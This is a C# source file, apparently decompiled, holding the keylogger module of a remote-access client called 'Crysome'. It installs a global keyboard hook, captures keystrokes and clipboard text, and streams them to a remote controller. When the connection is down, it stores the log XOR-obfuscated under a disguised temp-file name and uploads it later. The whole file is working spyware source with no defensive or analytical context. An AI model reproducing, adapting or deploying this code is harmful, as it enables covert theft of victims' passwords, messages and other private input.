Files

387 lines
8.3 KiB
C#
Raw Permalink Normal View History

2026-08-27 11:22:54 -06:00
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using Crysome.Client.Util;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
namespace Crysome.Client.Handlers;
public static class KeyloggerHandlers
{
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private struct MSG
{
public IntPtr hwnd;
public uint message;
public IntPtr wParam;
public IntPtr lParam;
public uint time;
public POINT pt;
}
private struct POINT
{
public int X;
public int Y;
}
private struct KBDLLHOOKSTRUCT
{
public uint vkCode;
public uint scanCode;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}
private static volatile bool _running;
private static CrysomeClient _client;
private static IntPtr _hookId = IntPtr.Zero;
private static readonly object _lock = new object();
private static readonly StringBuilder _buffer = new StringBuilder();
private static DateTime _lastSend = DateTime.MinValue;
private const int FlushIntervalMs = 2000;
private const int MaxBufferChars = 500;
private static readonly string _offlineFilePath = Path.Combine(Path.GetTempPath(), "Msvcrtd86_tmp.log");
private const byte XorKey = 167;
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 256;
private const int WM_KEYUP = 257;
private const int WM_SYSKEYDOWN = 260;
private const int WM_SYSKEYUP = 261;
private static volatile bool _ctrlDown;
private const uint LLKHF_INJECTED = 16u;
private const int VK_CONTROL = 17;
private const int VK_LCONTROL = 162;
private const int VK_RCONTROL = 163;
private const uint PM_REMOVE = 1u;
private static LowLevelKeyboardProc _proc = HookCallback;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll")]
private static extern bool PeekMessage(out MSG lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax, uint wRemoveMsg);
[DllImport("user32.dll")]
private static extern bool TranslateMessage(ref MSG lpMsg);
[DllImport("user32.dll")]
private static extern IntPtr DispatchMessage(ref MSG lpMsg);
public static void HandleStartKeylogger(CrysomeClient client, IPacket packet)
{
lock (_lock)
{
if (!_running)
{
_client = client;
_running = true;
_ctrlDown = false;
_buffer.Clear();
Thread thread = new Thread(RunHook);
thread.IsBackground = true;
thread.Start();
}
}
}
public static void HandleStopKeylogger(CrysomeClient client, IPacket packet)
{
lock (_lock)
{
_running = false;
if (_hookId != IntPtr.Zero)
{
UnhookWindowsHookEx(_hookId);
_hookId = IntPtr.Zero;
}
FlushBuffer();
}
}
public static void UploadOfflineDataIfAny(CrysomeClient client)
{
//IL_0064: Unknown result type (might be due to invalid IL or missing references)
//IL_006e: Expected O, but got Unknown
try
{
if (!File.Exists(_offlineFilePath))
{
return;
}
byte[] array = File.ReadAllBytes(_offlineFilePath);
if (array != null && array.Length != 0)
{
for (int i = 0; i < array.Length; i++)
{
array[i] ^= 167;
}
string text = Encoding.UTF8.GetString(array);
if (!string.IsNullOrWhiteSpace(text) && client != null && client.IsConnected)
{
client.SendPacket((IPacket)new OfflineKeylogDataPacket(text));
File.Delete(_offlineFilePath);
}
}
}
catch
{
}
}
private static void RunHook()
{
try
{
using (Process process = Process.GetCurrentProcess())
{
using ProcessModule processModule = process.MainModule;
_hookId = SetWindowsHookEx(13, _proc, GetModuleHandle(processModule.ModuleName), 0u);
}
if (_hookId == IntPtr.Zero)
{
Program.Log("Keylogger: SetWindowsHookEx failed");
return;
}
try
{
while (_running)
{
MSG lpMsg;
while (PeekMessage(out lpMsg, IntPtr.Zero, 0u, 0u, 1u))
{
TranslateMessage(ref lpMsg);
DispatchMessage(ref lpMsg);
}
Thread.Sleep(20);
}
}
finally
{
if (_hookId != IntPtr.Zero)
{
UnhookWindowsHookEx(_hookId);
_hookId = IntPtr.Zero;
}
}
}
catch (Exception ex)
{
Program.Log("Keylogger: " + ex.Message);
}
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && _running)
{
try
{
KBDLLHOOKSTRUCT kBDLLHOOKSTRUCT = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
if ((kBDLLHOOKSTRUCT.flags & 0x10) != 0)
{
return CallNextHookEx(_hookId, nCode, wParam, lParam);
}
int vkCode = (int)kBDLLHOOKSTRUCT.vkCode;
bool flag = wParam == (IntPtr)256 || wParam == (IntPtr)260;
if (wParam == (IntPtr)257)
{
_ = 1;
}
else
_ = wParam == (IntPtr)261;
if (vkCode == 17 || vkCode == 162 || vkCode == 163)
{
_ctrlDown = flag;
return CallNextHookEx(_hookId, nCode, wParam, lParam);
}
if (flag)
{
if (_ctrlDown && (vkCode == 67 || vkCode == 86 || vkCode == 88))
{
string value = vkCode switch
{
86 => "PASTE",
67 => "COPY",
_ => "CUT",
};
string textTruncated = ClipboardSta.GetTextTruncated(400);
lock (_buffer)
{
_buffer.Append(" [").Append(value).Append(":")
.Append(textTruncated)
.Append("] ");
TryFlush();
}
return CallNextHookEx(_hookId, nCode, wParam, lParam);
}
if (!_ctrlDown)
{
char c = KeyToChar(vkCode);
if (c != 0)
{
lock (_buffer)
{
_buffer.Append(c);
TryFlush();
}
}
}
}
}
catch
{
}
}
return CallNextHookEx(_hookId, nCode, wParam, lParam);
}
private static void TryFlush()
{
if (_buffer.Length >= 500 || (DateTime.Now - _lastSend).TotalMilliseconds >= 2000.0)
{
FlushBuffer();
}
}
private static char KeyToChar(int vk)
{
if (vk >= 48 && vk <= 57)
{
return (char)vk;
}
if (vk >= 65 && vk <= 90)
{
return (char)vk;
}
return vk switch
{
32 => ' ',
13 => '\n',
8 => '\b',
9 => '\t',
186 => ';',
187 => '=',
188 => ',',
189 => '-',
190 => '.',
191 => '/',
192 => '`',
219 => '[',
220 => '\\',
221 => ']',
222 => '\'',
_ => '\0',
};
}
private static void FlushBuffer()
{
//IL_0064: Unknown result type (might be due to invalid IL or missing references)
//IL_006e: Expected O, but got Unknown
string text;
lock (_buffer)
{
if (_buffer.Length == 0)
{
return;
}
text = _buffer.ToString();
_buffer.Clear();
_lastSend = DateTime.Now;
}
try
{
CrysomeClient client = _client;
if (client != null && client.IsConnected)
{
_client.SendPacket((IPacket)new KeylogDataPacket(text));
}
else
{
PersistOffline(text);
}
}
catch
{
try
{
PersistOffline(text);
}
catch
{
}
}
}
private static void PersistOffline(string data)
{
try
{
byte[] bytes = Encoding.UTF8.GetBytes(data);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= 167;
}
if ((File.Exists(_offlineFilePath) ? new FileInfo(_offlineFilePath).Length : 0) < 524288)
{
using (FileStream fileStream = new FileStream(_offlineFilePath, FileMode.Append, FileAccess.Write))
{
fileStream.Write(bytes, 0, bytes.Length);
return;
}
}
}
catch
{
}
}
}